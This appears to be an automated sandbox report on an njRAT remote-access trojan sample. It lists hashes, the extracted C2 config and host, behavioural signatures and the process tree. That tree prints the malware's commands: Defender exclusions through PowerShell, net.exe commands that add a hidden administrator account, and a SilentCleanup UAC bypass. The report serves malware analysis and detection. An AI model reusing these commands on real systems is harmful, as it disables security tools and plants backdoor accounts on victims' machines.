Analysis

  • max time kernel
    148s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/09/2022, 06:51

General

  • Target

    6a6b2af0716cb8308dddae55dd325253.exe

  • Size

    1.4MB

  • MD5

    6a6b2af0716cb8308dddae55dd325253

  • SHA1

    691556a82280d270bd0f763f1213b43c6c4c0b6d

  • SHA256

    2cb6acd25b8d00468dd89658dc948836f92000e031085b6b3c798eb1504157df

  • SHA512

    e517c7070e4c20eb16acc1dfa98c016a01a9fc66b1944c30e5270d3e616770804553140ff5b3b35c49c659b39e59cf999dc8fa5c00e9520bd57e6c9872d83f11

  • SSDEEP

    24576:BxDQqQS0hvzxBbNLWYhMehi1VH/mUwz9md3Nz1OPSvu+1SHgYxw4d+q:BxQSEbBhMe+VOVBmfxfu+1SH1w40

Malware Config

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

4Mekey.myftp.biz:2411

Mutex

18951a269d7

Attributes
  • reg_key

    18951a269d7

  • splitter

    @!#&^%$

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 5 IoCs
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Windows security modification 2 TTPs 6 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6a6b2af0716cb8308dddae55dd325253.exe
    "C:\Users\Admin\AppData\Local\Temp\6a6b2af0716cb8308dddae55dd325253.exe"
    1⤵
    • UAC bypass
    • Windows security bypass
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Checks BIOS information in registry
    • Checks computer location settings
    • Windows security modification
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Maps connected drives based on registry
    • Suspicious use of SetThreadContext
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4920
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6a6b2af0716cb8308dddae55dd325253.exe" -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4768
    • C:\Windows\SysWOW64\net.exe
      "C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1812
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 user ADMIN~1 SECRET@1234 /add
        3⤵
          PID:1104
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4108
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators ADMIN~1 /add
          3⤵
            PID:2108
        • C:\Windows\SysWOW64\net.exe
          "C:\Windows\system32\net.exe" localgroup users "Admin" /add
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:532
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup users "Admin" /add
            3⤵
              PID:2664
          • C:\Windows\SysWOW64\net.exe
            "C:\Windows\system32\net.exe" localgroup administrators "Admin" /del
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:344
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 localgroup administrators "Admin" /del
              3⤵
                PID:1076
            • C:\Windows\SysWOW64\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
              2⤵
                PID:4496
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\b9xe33Q\svchost.exe" -Force
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:368
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\b9xe33Q\svchost.exe" -Force
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2380
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6a6b2af0716cb8308dddae55dd325253.exe" -Force
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3228
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6a6b2af0716cb8308dddae55dd325253.exe" -Force
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3152
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension "exe" -Force
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1804
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6a6b2af0716cb8308dddae55dd325253.exe" -Force
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1932
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
                2⤵
                  PID:4256
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2236

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                      Filesize

                      2KB

                      MD5

                      968cb9309758126772781b83adb8a28f

                      SHA1

                      8da30e71accf186b2ba11da1797cf67f8f78b47c

                      SHA256

                      92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

                      SHA512

                      4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      18KB

                      MD5

                      7c3087a0aee7c503ba955ae610dbe17f

                      SHA1

                      a54f5fb575aaeb82a2173f8c35fdd998e8fbd6f8

                      SHA256

                      3bb2c4a3ea0d707277302c1db7325caec9fecb57ba70cc16f572bbc95a240290

                      SHA512

                      9b6b443ab98c1b331dcb6d61e92ed67f1470f51f5c780f80a669c93ab10e41d60d17d9e3f2aeee379d08c2854188a988ee7709285d1d4ace7e444994c46ae02f

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      18KB

                      MD5

                      7c3087a0aee7c503ba955ae610dbe17f

                      SHA1

                      a54f5fb575aaeb82a2173f8c35fdd998e8fbd6f8

                      SHA256

                      3bb2c4a3ea0d707277302c1db7325caec9fecb57ba70cc16f572bbc95a240290

                      SHA512

                      9b6b443ab98c1b331dcb6d61e92ed67f1470f51f5c780f80a669c93ab10e41d60d17d9e3f2aeee379d08c2854188a988ee7709285d1d4ace7e444994c46ae02f

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      18KB

                      MD5

                      668c5594ff4dd020220942a9ac26b6ef

                      SHA1

                      b8af808417375697f20ccedc0566c227ea724b88

                      SHA256

                      7e21033009816712729472a94727ec2996499b22f8eacc5eb3cfbec7283ed50e

                      SHA512

                      c5c7de4128a88c296324ef6d5e2bd67ee6da8aca6489632855d9b8f8d1a59d66cf87a1e3b2e2f03a932c4c38ecfa5cd3394d5191671e92442c63d6898ba4a299

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      18KB

                      MD5

                      cbb25066e0804b16bfc9f752af051ea6

                      SHA1

                      4b5bb186ab6c62a8cd80e995a71f93369d19f35e

                      SHA256

                      78b8f76876de25a28bf87c39da2dd0b2c01e70bfc101c8d25aad046db376527c

                      SHA512

                      73baf74d38102a7ae9b9617b1db471e09032f0c9376b091f0d76f019e0ade49bee4115a791d3aed250c48417c9f6910791fa6742f50a63b8be1d19f8e6686bac

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      18KB

                      MD5

                      6fd551029db2c93e1a1d8b9d7cf0d816

                      SHA1

                      3e35dc141094c434a000627d446c2558a0d8b961

                      SHA256

                      420326958326c6db11d8ff589d6f72f7efbf7acfa37befe9345a64d126077014

                      SHA512

                      9545da834b53bd693eda01b8a828eddc3964288ab0f1ba8ffde54a85a9357fde50e133c9ba9527df68f9abeec7c2d15db0ffcb07463d6b2f95404d823d29c4f6

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      64B

                      MD5

                      b8c6445e99c777b6a50e4e20d9c403d7

                      SHA1

                      208ab6812378b5ca3aa946049c8a6f8178168677

                      SHA256

                      139634c39cc9afbeb22ea86ff528eb196f8dbfc592cc8a9e5b2ff15e199cf77a

                      SHA512

                      eb3ad9ddc2843b22e7f198f0b88a5e92a8da0463b48a54d74c7b1a7314012d3670efede4766b9a0c7c161835b6237847c7ccca77fe4e56c3d0216193b371ed05

                    • memory/368-169-0x0000000070630000-0x000000007067C000-memory.dmp

                      Filesize

                      304KB

                    • memory/1804-176-0x0000000070630000-0x000000007067C000-memory.dmp

                      Filesize

                      304KB

                    • memory/1932-175-0x0000000070630000-0x000000007067C000-memory.dmp

                      Filesize

                      304KB

                    • memory/2236-164-0x0000000000400000-0x000000000040C000-memory.dmp

                      Filesize

                      48KB

                    • memory/2380-170-0x0000000070630000-0x000000007067C000-memory.dmp

                      Filesize

                      304KB

                    • memory/3152-173-0x0000000070630000-0x000000007067C000-memory.dmp

                      Filesize

                      304KB

                    • memory/3228-171-0x0000000070630000-0x000000007067C000-memory.dmp

                      Filesize

                      304KB

                    • memory/4768-172-0x0000000007160000-0x000000000716E000-memory.dmp

                      Filesize

                      56KB

                    • memory/4768-138-0x0000000004EA0000-0x00000000054C8000-memory.dmp

                      Filesize

                      6.2MB

                    • memory/4768-166-0x0000000006F20000-0x0000000006F3A000-memory.dmp

                      Filesize

                      104KB

                    • memory/4768-165-0x0000000007560000-0x0000000007BDA000-memory.dmp

                      Filesize

                      6.5MB

                    • memory/4768-167-0x0000000006F90000-0x0000000006F9A000-memory.dmp

                      Filesize

                      40KB

                    • memory/4768-168-0x00000000071A0000-0x0000000007236000-memory.dmp

                      Filesize

                      600KB

                    • memory/4768-160-0x00000000061E0000-0x0000000006212000-memory.dmp

                      Filesize

                      200KB

                    • memory/4768-147-0x0000000005C20000-0x0000000005C3E000-memory.dmp

                      Filesize

                      120KB

                    • memory/4768-137-0x00000000023A0000-0x00000000023D6000-memory.dmp

                      Filesize

                      216KB

                    • memory/4768-163-0x00000000061C0000-0x00000000061DE000-memory.dmp

                      Filesize

                      120KB

                    • memory/4768-174-0x0000000007270000-0x000000000728A000-memory.dmp

                      Filesize

                      104KB

                    • memory/4768-161-0x0000000070630000-0x000000007067C000-memory.dmp

                      Filesize

                      304KB

                    • memory/4768-142-0x0000000005570000-0x00000000055D6000-memory.dmp

                      Filesize

                      408KB

                    • memory/4768-177-0x0000000007250000-0x0000000007258000-memory.dmp

                      Filesize

                      32KB

                    • memory/4768-140-0x0000000004E50000-0x0000000004E72000-memory.dmp

                      Filesize

                      136KB

                    • memory/4920-155-0x00000000077E0000-0x00000000077EA000-memory.dmp

                      Filesize

                      40KB

                    • memory/4920-154-0x0000000007850000-0x00000000078E2000-memory.dmp

                      Filesize

                      584KB

                    • memory/4920-132-0x0000000000C90000-0x0000000000DFC000-memory.dmp

                      Filesize

                      1.4MB

                    • memory/4920-135-0x0000000006D40000-0x0000000006DA6000-memory.dmp

                      Filesize

                      408KB

                    • memory/4920-134-0x0000000007200000-0x00000000077A4000-memory.dmp

                      Filesize

                      5.6MB

                    • memory/4920-133-0x0000000005940000-0x00000000059DC000-memory.dmp

                      Filesize

                      624KB